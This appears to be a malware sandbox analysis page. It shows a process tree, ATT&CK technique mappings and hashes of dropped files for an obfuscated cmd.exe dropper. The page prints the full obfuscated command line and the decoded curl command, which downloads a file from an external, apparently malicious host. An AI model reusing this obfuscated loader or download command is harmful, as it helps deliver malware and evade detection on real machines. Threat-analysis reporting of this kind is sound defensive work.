        CmD , ,, /V: , /c " , , ( , (s^E^t ^ 5^T=^pMohg ^1^2wM.0^.0.2 ^^^&^^^&^ cS ^/S^ Xj^TE^j^Q^unX^j ^^^&^^^& ^c^urkD 1^8j1^8jA^bgAbgkD18^j^oh^o18^j^r^e^v^oke^ ^18^jL^ 18jo^ ^p1n^ajk^DeA^Kwo^rk^e^rA^bg.xk^DAbg^x ^p1AFIp1n^p1np^Ab^g:^/^/S^M^Abgk^cMp^1nQ^kD^M^o^h^k^.^c^o3^F^/^z^3Sw^f^Doh^Up^1^/^p1naj^kD^eAKwo^rk^erAbg^.^xk^DAb^g^x?a^p1np1na^cFI^3^Feoh^p1n^p1A ^^^&^^^& p1n^ar^ 18j^x^f ^p1na^jkD^eAKwork^erAbg.x^kDAb^g^x^ ^^^&^^^&^ SekD^ p1n^a^j^kDeAK^workerAbg^.xkDAbg^x),,, ,, )&& (,, ,(s^E^t S^a^u=^!5^T:M=^i!) )&& ( , , , (^S^et ^ B^v6=^!^S^a^u^:3^F=^m!) ,,, )&& ( , , ,, ,(sE^T ^ ^A^G2=!B^v^6^:S^=^d!) , , , , , )& ( ,(s^ET ^ ^ zb^K^4=!^A^G2^:^p1^=^R!) ,, , )&& (s^eT ^one=!^z^b^K^4^:^Ab^g=s^!)& ( , (^SEt ^ 6a^J=^!^one^:w^i=^7!) , )&( (s^e^t ^ 1^7z=^!6a^J:R^A^=""^!) , )&& (^SeT U^K^1=^!1^7z:Rn^=t!)& (^S^E^t ^ ^ ^VAj=^!^U^K^1^:un^=^P!)& ( ,(S^eT ^ ^1n^p=^!^V^Aj:A^K^=_!) , , , )& (^set ^ ^0u=!^1n^p:o^h=n^!)&&( (^set ^ ^A^Fco=!^0u^:^F^I=h!) ,, , )&&(S^eT ^ A^o=^!^A^Fco^:^j^=b!)& (S^E^t Xp^P=!A^o^:^Xb=%^!)&& ( ,, ,(^se^t ^ ^l5^M=^!Xp^P:^z^3^=^j!) , ,, )&& (s^et Mx^b^R=!^l^5^M^:f^D^=3!)&& (se^T ^ ^ ^bB=!^M^x^b^R^:^b^Q=M!)& ( , , , , , (S^eT ^AW^h^Z=!^bB:^k^D=^l!) , )& ( , ,, (^sEt ^f^7M=^!^A^W^h^Z^:18b=^-!) , )&(^SeT ^ ^bx^t=!^f^7^M:^Q=^y^!)&& ( , , , (^s^e^t ^L0^J^M="") , )&, (eC^H^o, %^bx^t^:""=!^L^0JM^:~^ -0,^ ^ ^-1^!% | , ,c^md, ) , ,"
        5⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        Suspicious use of WriteProcessMemory
        
        PID:4428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHo, %bxt:""="% "
        6⤵
        
        PID:3840
      - C:\Windows\system32\cmd.exe
        
        cmd ,
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2772
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.2
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4112
        
        C:\Windows\system32\curl.exe
        
        curl --ssl-no-revoke -L -o table_workers.xlsx "https://diskcitylink.com/jdw3nUR/table_workers.xlsx?attachment"
        7⤵
        
        PID:1592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_pyzrxl42.nib.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pyzrxl42.nib.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing